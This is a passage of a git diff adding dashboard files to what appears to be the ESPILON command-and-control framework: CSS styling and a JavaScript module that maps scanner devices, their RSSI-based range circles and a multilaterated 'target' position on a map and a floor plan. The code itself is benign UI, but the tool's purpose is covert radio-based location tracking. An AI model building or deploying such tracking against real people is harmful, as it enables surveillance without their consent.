margin-top: 4px;
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-size: 11px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Button Group */
|
||||||
|
.btn-group {
|
||||||
|
display: flex;
|
||||||
|
gap: 8px;
|
||||||
|
margin-top: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-sm {
|
||||||
|
padding: 6px 12px;
|
||||||
|
font-size: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Custom Leaflet Markers */
|
||||||
|
.scanner-marker {
|
||||||
|
background: var(--accent-secondary);
|
||||||
|
border: 2px solid #fff;
|
||||||
|
border-radius: 50%;
|
||||||
|
width: 16px !important;
|
||||||
|
height: 16px !important;
|
||||||
|
margin-left: -8px !important;
|
||||||
|
margin-top: -8px !important;
|
||||||
|
box-shadow: 0 2px 8px rgba(0,0,0,0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.target-marker {
|
||||||
|
width: 24px !important;
|
||||||
|
height: 24px !important;
|
||||||
|
margin-left: -12px !important;
|
||||||
|
margin-top: -12px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.target-marker svg {
|
||||||
|
filter: drop-shadow(0 2px 4px rgba(0,0,0,0.4));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Range Circle */
|
||||||
|
.range-circle {
|
||||||
|
fill: rgba(129, 140, 248, 0.1);
|
||||||
|
stroke: rgba(129, 140, 248, 0.4);
|
||||||
|
stroke-width: 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Config Panel ========== */
|
||||||
|
|
||||||
|
.config-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 10px 0;
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.config-row:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.config-row label {
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.config-row input {
|
||||||
|
width: 80px;
|
||||||
|
padding: 6px 10px;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 6px;
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-size: 13px;
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
text-align: right;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.config-row input:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: var(--accent-primary);
|
||||||
|
box-shadow: 0 0 0 3px var(--accent-primary-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Buttons ========== */
|
||||||
|
|
||||||
|
.btn {
|
||||||
|
padding: 10px 18px;
|
||||||
|
border-radius: 8px;
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary {
|
||||||
|
background: var(--gradient-primary);
|
||||||
|
color: #fff;
|
||||||
|
box-shadow: 0 2px 10px var(--accent-primary-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary:hover {
|
||||||
|
transform: translateY(-1px);
|
||||||
|
box-shadow: 0 4px 15px var(--accent-primary-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary {
|
||||||
|
background: var(--btn-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary:hover {
|
||||||
|
background: var(--btn-secondary-hover);
|
||||||
|
border-color: var(--border-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Login Page ========== */
|
||||||
|
|
||||||
|
.login-container {
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-container::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 50%;
|
||||||
|
left: 50%;
|
||||||
|
transform: translate(-50%, -50%);
|
||||||
|
width: 600px;
|
||||||
|
height: 600px;
|
||||||
|
background: var(--gradient-glow);
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-box {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 16px;
|
||||||
|
padding: 40px;
|
||||||
|
width: 100%;
|
||||||
|
max-width: 380px;
|
||||||
|
position: relative;
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-box .logo {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 32px;
|
||||||
|
font-size: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error {
|
||||||
|
background: var(--status-error-bg);
|
||||||
|
border: 1px solid var(--status-error);
|
||||||
|
color: var(--status-error);
|
||||||
|
padding: 12px 14px;
|
||||||
|
border-radius: 8px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
display: block;
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 12px 14px;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 8px;
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-size: 14px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group input:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: var(--accent-primary);
|
||||||
|
box-shadow: 0 0 0 3px var(--accent-primary-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group input::placeholder {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-login {
|
||||||
|
width: 100%;
|
||||||
|
padding: 14px 20px;
|
||||||
|
background: var(--gradient-primary);
|
||||||
|
border: none;
|
||||||
|
border-radius: 8px;
|
||||||
|
color: #fff;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
box-shadow: 0 2px 10px var(--accent-primary-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-login:hover {
|
||||||
|
transform: translateY(-1px);
|
||||||
|
box-shadow: 0 4px 20px var(--accent-primary-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Scrollbar ========== */
|
||||||
|
|
||||||
|
::-webkit-scrollbar {
|
||||||
|
width: 8px;
|
||||||
|
height: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-track {
|
||||||
|
background: var(--bg-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb {
|
||||||
|
background: var(--border-color);
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
::-webkit-scrollbar-thumb:hover {
|
||||||
|
background: var(--border-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Selection ========== */
|
||||||
|
|
||||||
|
::selection {
|
||||||
|
background: var(--accent-primary-bg);
|
||||||
|
color: var(--accent-primary);
|
||||||
|
}
|
||||||
BIN
tools/c2/static/images/no-signal.png
Normal file
BIN
tools/c2/static/images/no-signal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
830
tools/c2/static/js/mlat.js
Normal file
830
tools/c2/static/js/mlat.js
Normal file
@ -0,0 +1,830 @@
|
|||||||
|
/**
|
||||||
|
* MLAT (Multilateration) Visualization for ESPILON C2
|
||||||
|
* Supports Map view (Leaflet/OSM) and Plan view (Canvas)
|
||||||
|
* Supports both GPS (lat/lon) and Local (x/y in meters) coordinates
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// State
|
||||||
|
// ============================================================
|
||||||
|
let currentView = 'map';
|
||||||
|
let coordMode = 'gps'; // 'gps' or 'local'
|
||||||
|
let map = null;
|
||||||
|
let planCanvas = null;
|
||||||
|
let planCtx = null;
|
||||||
|
let planImage = null;
|
||||||
|
|
||||||
|
// Plan settings for local coordinate mode
|
||||||
|
let planSettings = {
|
||||||
|
width: 50, // meters
|
||||||
|
height: 30, // meters
|
||||||
|
originX: 0, // meters offset
|
||||||
|
originY: 0 // meters offset
|
||||||
|
};
|
||||||
|
|
||||||
|
// Plan display options
|
||||||
|
let showGrid = true;
|
||||||
|
let showLabels = true;
|
||||||
|
let planZoom = 1.0; // 1.0 = 100%
|
||||||
|
let panOffset = { x: 0, y: 0 }; // Pan offset in pixels
|
||||||
|
let isPanning = false;
|
||||||
|
let lastPanPos = { x: 0, y: 0 };
|
||||||
|
|
||||||
|
// Markers
|
||||||
|
let scannerMarkers = {};
|
||||||
|
let targetMarker = null;
|
||||||
|
let rangeCircles = {};
|
||||||
|
|
||||||
|
// Data
|
||||||
|
let scanners = [];
|
||||||
|
let target = null;
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Map View (Leaflet) - GPS Mode
|
||||||
|
// ============================================================
|
||||||
|
function initMap() {
|
||||||
|
if (map) return;
|
||||||
|
|
||||||
|
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
|
||||||
|
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
|
||||||
|
const zoom = parseInt(document.getElementById('map-zoom').value) || 18;
|
||||||
|
|
||||||
|
map = L.map('leaflet-map', {
|
||||||
|
center: [centerLat, centerLon],
|
||||||
|
zoom: zoom,
|
||||||
|
zoomControl: true
|
||||||
|
});
|
||||||
|
|
||||||
|
// Dark tile layer (CartoDB Dark Matter)
|
||||||
|
L.tileLayer('https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png', {
|
||||||
|
attribution: '© <a href="https://carto.com/">CARTO</a>',
|
||||||
|
subdomains: 'abcd',
|
||||||
|
maxZoom: 20
|
||||||
|
}).addTo(map);
|
||||||
|
}
|
||||||
|
|
||||||
|
function createScannerIcon() {
|
||||||
|
return L.divIcon({
|
||||||
|
className: 'scanner-marker',
|
||||||
|
iconSize: [16, 16],
|
||||||
|
iconAnchor: [8, 8]
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function createTargetIcon() {
|
||||||
|
return L.divIcon({
|
||||||
|
className: 'target-marker',
|
||||||
|
html: `<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
|
||||||
|
<circle cx="12" cy="12" r="10" fill="#f87171" fill-opacity="0.3"/>
|
||||||
|
<circle cx="12" cy="12" r="6" fill="#f87171"/>
|
||||||
|
<circle cx="12" cy="12" r="3" fill="#fff"/>
|
||||||
|
</svg>`,
|
||||||
|
iconSize: [24, 24],
|
||||||
|
iconAnchor: [12, 12]
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateMapMarkers() {
|
||||||
|
if (!map) return;
|
||||||
|
|
||||||
|
// Only show GPS mode scanners on map
|
||||||
|
const gpsFilteredScanners = scanners.filter(s => s.position && s.position.lat !== undefined);
|
||||||
|
const currentIds = new Set(gpsFilteredScanners.map(s => s.id));
|
||||||
|
|
||||||
|
// Remove old markers
|
||||||
|
for (const id in scannerMarkers) {
|
||||||
|
if (!currentIds.has(id)) {
|
||||||
|
map.removeLayer(scannerMarkers[id]);
|
||||||
|
delete scannerMarkers[id];
|
||||||
|
if (rangeCircles[id]) {
|
||||||
|
map.removeLayer(rangeCircles[id]);
|
||||||
|
delete rangeCircles[id];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update/add scanner markers
|
||||||
|
for (const scanner of gpsFilteredScanners) {
|
||||||
|
const pos = scanner.position;
|
||||||
|
|
||||||
|
if (scannerMarkers[scanner.id]) {
|
||||||
|
scannerMarkers[scanner.id].setLatLng([pos.lat, pos.lon]);
|
||||||
|
} else {
|
||||||
|
scannerMarkers[scanner.id] = L.marker([pos.lat, pos.lon], {
|
||||||
|
icon: createScannerIcon()
|
||||||
|
}).addTo(map);
|
||||||
|
|
||||||
|
scannerMarkers[scanner.id].bindPopup(`
|
||||||
|
<strong>${scanner.id}</strong><br>
|
||||||
|
RSSI: ${scanner.last_rssi || '-'} dBm<br>
|
||||||
|
Distance: ${scanner.estimated_distance || '-'} m
|
||||||
|
`);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update popup content
|
||||||
|
scannerMarkers[scanner.id].setPopupContent(`
|
||||||
|
<strong>${scanner.id}</strong><br>
|
||||||
|
RSSI: ${scanner.last_rssi || '-'} dBm<br>
|
||||||
|
Distance: ${scanner.estimated_distance || '-'} m
|
||||||
|
`);
|
||||||
|
|
||||||
|
// Update range circle
|
||||||
|
if (scanner.estimated_distance) {
|
||||||
|
if (rangeCircles[scanner.id]) {
|
||||||
|
rangeCircles[scanner.id].setLatLng([pos.lat, pos.lon]);
|
||||||
|
rangeCircles[scanner.id].setRadius(scanner.estimated_distance);
|
||||||
|
} else {
|
||||||
|
rangeCircles[scanner.id] = L.circle([pos.lat, pos.lon], {
|
||||||
|
radius: scanner.estimated_distance,
|
||||||
|
color: 'rgba(129, 140, 248, 0.4)',
|
||||||
|
fillColor: 'rgba(129, 140, 248, 0.1)',
|
||||||
|
fillOpacity: 0.3,
|
||||||
|
weight: 2
|
||||||
|
}).addTo(map);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update target marker (GPS only)
|
||||||
|
if (target && target.lat !== undefined) {
|
||||||
|
if (targetMarker) {
|
||||||
|
targetMarker.setLatLng([target.lat, target.lon]);
|
||||||
|
} else {
|
||||||
|
targetMarker = L.marker([target.lat, target.lon], {
|
||||||
|
icon: createTargetIcon()
|
||||||
|
}).addTo(map);
|
||||||
|
}
|
||||||
|
} else if (targetMarker) {
|
||||||
|
map.removeLayer(targetMarker);
|
||||||
|
targetMarker = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function centerMap() {
|
||||||
|
if (!map) return;
|
||||||
|
|
||||||
|
const lat = parseFloat(document.getElementById('map-center-lat').value);
|
||||||
|
const lon = parseFloat(document.getElementById('map-center-lon').value);
|
||||||
|
const zoom = parseInt(document.getElementById('map-zoom').value);
|
||||||
|
|
||||||
|
map.setView([lat, lon], zoom);
|
||||||
|
}
|
||||||
|
|
||||||
|
function fitMapToBounds() {
|
||||||
|
if (!map || scanners.length === 0) return;
|
||||||
|
|
||||||
|
const points = scanners
|
||||||
|
.filter(s => s.position && s.position.lat !== undefined)
|
||||||
|
.map(s => [s.position.lat, s.position.lon]);
|
||||||
|
|
||||||
|
if (target && target.lat !== undefined) {
|
||||||
|
points.push([target.lat, target.lon]);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (points.length > 0) {
|
||||||
|
map.fitBounds(points, { padding: [50, 50] });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Plan View (Canvas) - Supports both GPS and Local coords
|
||||||
|
// ============================================================
|
||||||
|
function initPlanCanvas() {
|
||||||
|
planCanvas = document.getElementById('plan-canvas');
|
||||||
|
if (!planCanvas) return;
|
||||||
|
|
||||||
|
planCtx = planCanvas.getContext('2d');
|
||||||
|
resizePlanCanvas();
|
||||||
|
setupPlanPanning();
|
||||||
|
window.addEventListener('resize', resizePlanCanvas);
|
||||||
|
}
|
||||||
|
|
||||||
|
function resizePlanCanvas() {
|
||||||
|
if (!planCanvas) return;
|
||||||
|
|
||||||
|
const wrapper = planCanvas.parentElement;
|
||||||
|
planCanvas.width = wrapper.clientWidth - 32;
|
||||||
|
planCanvas.height = wrapper.clientHeight - 32;
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawPlan() {
|
||||||
|
if (!planCtx) return;
|
||||||
|
|
||||||
|
const ctx = planCtx;
|
||||||
|
const w = planCanvas.width;
|
||||||
|
const h = planCanvas.height;
|
||||||
|
|
||||||
|
// Clear (before transform)
|
||||||
|
ctx.setTransform(1, 0, 0, 1, 0, 0);
|
||||||
|
ctx.fillStyle = '#06060a';
|
||||||
|
ctx.fillRect(0, 0, w, h);
|
||||||
|
|
||||||
|
// Apply zoom and pan transform
|
||||||
|
const centerX = w / 2;
|
||||||
|
const centerY = h / 2;
|
||||||
|
ctx.setTransform(planZoom, 0, 0, planZoom,
|
||||||
|
centerX - centerX * planZoom + panOffset.x,
|
||||||
|
centerY - centerY * planZoom + panOffset.y);
|
||||||
|
|
||||||
|
// Draw plan image if loaded
|
||||||
|
if (planImage) {
|
||||||
|
ctx.drawImage(planImage, 0, 0, w, h);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Draw grid (always when enabled, on top of image)
|
||||||
|
if (showGrid) {
|
||||||
|
drawGrid(ctx, w, h, !!planImage);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Draw range circles
|
||||||
|
for (const scanner of scanners) {
|
||||||
|
if (scanner.estimated_distance) {
|
||||||
|
drawPlanRangeCircle(ctx, scanner);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Draw scanners
|
||||||
|
for (const scanner of scanners) {
|
||||||
|
drawPlanScanner(ctx, scanner);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Draw target
|
||||||
|
if (target) {
|
||||||
|
drawPlanTarget(ctx);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset transform for any UI overlay
|
||||||
|
ctx.setTransform(1, 0, 0, 1, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawGrid(ctx, w, h, hasImage = false) {
|
||||||
|
// More visible grid when over image
|
||||||
|
ctx.strokeStyle = hasImage ? 'rgba(129, 140, 248, 0.4)' : '#21262d';
|
||||||
|
ctx.lineWidth = hasImage ? 1.5 : 1;
|
||||||
|
ctx.font = '10px monospace';
|
||||||
|
ctx.fillStyle = hasImage ? 'rgba(200, 200, 200, 0.9)' : '#484f58';
|
||||||
|
|
||||||
|
if (coordMode === 'local') {
|
||||||
|
// Draw grid based on plan size in meters
|
||||||
|
const metersPerPixelX = planSettings.width / w;
|
||||||
|
const metersPerPixelY = planSettings.height / h;
|
||||||
|
|
||||||
|
// Grid every 5 meters
|
||||||
|
const gridMeters = 5;
|
||||||
|
const gridPixelsX = gridMeters / metersPerPixelX;
|
||||||
|
const gridPixelsY = gridMeters / metersPerPixelY;
|
||||||
|
|
||||||
|
// Vertical lines
|
||||||
|
for (let x = gridPixelsX; x < w; x += gridPixelsX) {
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(x, 0);
|
||||||
|
ctx.lineTo(x, h);
|
||||||
|
ctx.stroke();
|
||||||
|
|
||||||
|
// Label
|
||||||
|
if (showLabels) {
|
||||||
|
const meters = (x * metersPerPixelX + planSettings.originX).toFixed(0);
|
||||||
|
if (hasImage) {
|
||||||
|
// Background for readability
|
||||||
|
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||||
|
ctx.fillRect(x + 1, 2, 25, 12);
|
||||||
|
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
|
||||||
|
}
|
||||||
|
ctx.fillText(`${meters}m`, x + 2, 12);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Horizontal lines
|
||||||
|
for (let y = gridPixelsY; y < h; y += gridPixelsY) {
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(0, y);
|
||||||
|
ctx.lineTo(w, y);
|
||||||
|
ctx.stroke();
|
||||||
|
|
||||||
|
// Label
|
||||||
|
if (showLabels) {
|
||||||
|
const meters = (planSettings.height - y * metersPerPixelY + planSettings.originY).toFixed(0);
|
||||||
|
if (hasImage) {
|
||||||
|
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||||
|
ctx.fillRect(1, y - 13, 25, 12);
|
||||||
|
ctx.fillStyle = 'rgba(200, 200, 200, 0.9)';
|
||||||
|
}
|
||||||
|
ctx.fillText(`${meters}m`, 2, y - 2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Size label
|
||||||
|
if (showLabels) {
|
||||||
|
ctx.fillStyle = hasImage ? 'rgba(129, 140, 248, 0.9)' : '#818cf8';
|
||||||
|
if (hasImage) {
|
||||||
|
ctx.fillStyle = 'rgba(0, 0, 0, 0.6)';
|
||||||
|
ctx.fillRect(w - 65, h - 16, 62, 14);
|
||||||
|
ctx.fillStyle = 'rgba(129, 140, 248, 0.9)';
|
||||||
|
}
|
||||||
|
ctx.fillText(`${planSettings.width}x${planSettings.height}m`, w - 60, h - 5);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Simple grid for GPS mode
|
||||||
|
const gridSize = 50;
|
||||||
|
|
||||||
|
for (let x = gridSize; x < w; x += gridSize) {
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(x, 0);
|
||||||
|
ctx.lineTo(x, h);
|
||||||
|
ctx.stroke();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let y = gridSize; y < h; y += gridSize) {
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(0, y);
|
||||||
|
ctx.lineTo(w, y);
|
||||||
|
ctx.stroke();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleGrid() {
|
||||||
|
showGrid = !showGrid;
|
||||||
|
document.getElementById('grid-toggle').classList.toggle('active', showGrid);
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleLabels() {
|
||||||
|
showLabels = !showLabels;
|
||||||
|
document.getElementById('labels-toggle').classList.toggle('active', showLabels);
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function zoomPlan(direction) {
|
||||||
|
const zoomStep = 0.25;
|
||||||
|
const minZoom = 0.25;
|
||||||
|
const maxZoom = 4.0;
|
||||||
|
|
||||||
|
if (direction > 0) {
|
||||||
|
planZoom = Math.min(maxZoom, planZoom + zoomStep);
|
||||||
|
} else {
|
||||||
|
planZoom = Math.max(minZoom, planZoom - zoomStep);
|
||||||
|
}
|
||||||
|
|
||||||
|
updateZoomDisplay();
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function resetZoom() {
|
||||||
|
planZoom = 1.0;
|
||||||
|
panOffset = { x: 0, y: 0 };
|
||||||
|
updateZoomDisplay();
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateZoomDisplay() {
|
||||||
|
const el = document.getElementById('zoom-level');
|
||||||
|
if (el) {
|
||||||
|
el.textContent = Math.round(planZoom * 100) + '%';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function setupPlanPanning() {
|
||||||
|
if (!planCanvas) return;
|
||||||
|
|
||||||
|
// Mouse wheel zoom
|
||||||
|
planCanvas.addEventListener('wheel', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
const direction = e.deltaY < 0 ? 1 : -1;
|
||||||
|
zoomPlan(direction);
|
||||||
|
}, { passive: false });
|
||||||
|
|
||||||
|
// Pan with mouse drag
|
||||||
|
planCanvas.addEventListener('mousedown', (e) => {
|
||||||
|
if (e.button === 0) { // Left click
|
||||||
|
isPanning = true;
|
||||||
|
lastPanPos = { x: e.clientX, y: e.clientY };
|
||||||
|
planCanvas.style.cursor = 'grabbing';
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
planCanvas.addEventListener('mousemove', (e) => {
|
||||||
|
if (isPanning) {
|
||||||
|
const dx = e.clientX - lastPanPos.x;
|
||||||
|
const dy = e.clientY - lastPanPos.y;
|
||||||
|
panOffset.x += dx;
|
||||||
|
panOffset.y += dy;
|
||||||
|
lastPanPos = { x: e.clientX, y: e.clientY };
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
planCanvas.addEventListener('mouseup', () => {
|
||||||
|
isPanning = false;
|
||||||
|
planCanvas.style.cursor = 'grab';
|
||||||
|
});
|
||||||
|
|
||||||
|
planCanvas.addEventListener('mouseleave', () => {
|
||||||
|
isPanning = false;
|
||||||
|
planCanvas.style.cursor = 'grab';
|
||||||
|
});
|
||||||
|
|
||||||
|
planCanvas.style.cursor = 'grab';
|
||||||
|
}
|
||||||
|
|
||||||
|
function worldToCanvas(pos) {
|
||||||
|
const w = planCanvas.width;
|
||||||
|
const h = planCanvas.height;
|
||||||
|
|
||||||
|
if (coordMode === 'local' || (pos.x !== undefined && pos.lat === undefined)) {
|
||||||
|
// Local coordinates (x, y in meters)
|
||||||
|
const x = pos.x !== undefined ? pos.x : 0;
|
||||||
|
const y = pos.y !== undefined ? pos.y : 0;
|
||||||
|
|
||||||
|
const canvasX = ((x - planSettings.originX) / planSettings.width) * w;
|
||||||
|
const canvasY = h - ((y - planSettings.originY) / planSettings.height) * h;
|
||||||
|
|
||||||
|
return {
|
||||||
|
x: Math.max(0, Math.min(w, canvasX)),
|
||||||
|
y: Math.max(0, Math.min(h, canvasY))
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
// GPS coordinates (lat, lon)
|
||||||
|
const centerLat = parseFloat(document.getElementById('map-center-lat').value) || 48.8566;
|
||||||
|
const centerLon = parseFloat(document.getElementById('map-center-lon').value) || 2.3522;
|
||||||
|
const range = 0.002; // ~200m
|
||||||
|
|
||||||
|
const canvasX = ((pos.lon - centerLon + range) / (2 * range)) * w;
|
||||||
|
const canvasY = ((centerLat + range - pos.lat) / (2 * range)) * h;
|
||||||
|
|
||||||
|
return {
|
||||||
|
x: Math.max(0, Math.min(w, canvasX)),
|
||||||
|
y: Math.max(0, Math.min(h, canvasY))
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function distanceToPixels(distance) {
|
||||||
|
if (coordMode === 'local') {
|
||||||
|
// Direct conversion: distance in meters to pixels
|
||||||
|
const pixelsPerMeter = planCanvas.width / planSettings.width;
|
||||||
|
return distance * pixelsPerMeter;
|
||||||
|
} else {
|
||||||
|
// GPS mode: approximate conversion
|
||||||
|
const range = 0.002; // degrees
|
||||||
|
const rangeMeters = range * 111000; // ~222m
|
||||||
|
const pixelsPerMeter = planCanvas.width / rangeMeters;
|
||||||
|
return distance * pixelsPerMeter;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawPlanRangeCircle(ctx, scanner) {
|
||||||
|
const pos = scanner.position;
|
||||||
|
if (!pos) return;
|
||||||
|
|
||||||
|
// Check if position is valid for current mode
|
||||||
|
if (coordMode === 'local' && pos.x === undefined && pos.lat !== undefined) return;
|
||||||
|
if (coordMode === 'gps' && pos.lat === undefined && pos.x !== undefined) return;
|
||||||
|
|
||||||
|
const canvasPos = worldToCanvas(pos);
|
||||||
|
const radius = distanceToPixels(scanner.estimated_distance);
|
||||||
|
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(canvasPos.x, canvasPos.y, radius, 0, Math.PI * 2);
|
||||||
|
ctx.strokeStyle = 'rgba(129, 140, 248, 0.3)';
|
||||||
|
ctx.lineWidth = 2;
|
||||||
|
ctx.stroke();
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawPlanScanner(ctx, scanner) {
|
||||||
|
const pos = scanner.position;
|
||||||
|
if (!pos) return;
|
||||||
|
|
||||||
|
// Check if position is valid
|
||||||
|
const hasGPS = pos.lat !== undefined;
|
||||||
|
const hasLocal = pos.x !== undefined;
|
||||||
|
|
||||||
|
if (!hasGPS && !hasLocal) return;
|
||||||
|
|
||||||
|
const canvasPos = worldToCanvas(pos);
|
||||||
|
|
||||||
|
// Dot
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(canvasPos.x, canvasPos.y, 8, 0, Math.PI * 2);
|
||||||
|
ctx.fillStyle = '#818cf8';
|
||||||
|
ctx.fill();
|
||||||
|
|
||||||
|
// Label
|
||||||
|
ctx.font = '12px monospace';
|
||||||
|
ctx.fillStyle = '#c9d1d9';
|
||||||
|
ctx.textAlign = 'center';
|
||||||
|
ctx.fillText(scanner.id, canvasPos.x, canvasPos.y - 15);
|
||||||
|
|
||||||
|
// RSSI
|
||||||
|
if (scanner.last_rssi !== null) {
|
||||||
|
ctx.font = '10px monospace';
|
||||||
|
ctx.fillStyle = '#484f58';
|
||||||
|
ctx.fillText(`${scanner.last_rssi} dBm`, canvasPos.x, canvasPos.y + 20);
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx.textAlign = 'left';
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawPlanTarget(ctx) {
|
||||||
|
if (!target) return;
|
||||||
|
|
||||||
|
const hasGPS = target.lat !== undefined;
|
||||||
|
const hasLocal = target.x !== undefined;
|
||||||
|
|
||||||
|
if (!hasGPS && !hasLocal) return;
|
||||||
|
|
||||||
|
const canvasPos = worldToCanvas(target);
|
||||||
|
|
||||||
|
// Glow
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.arc(canvasPos.x, canvasPos.y, 20, 0, Math.PI * 2);
|
||||||
|
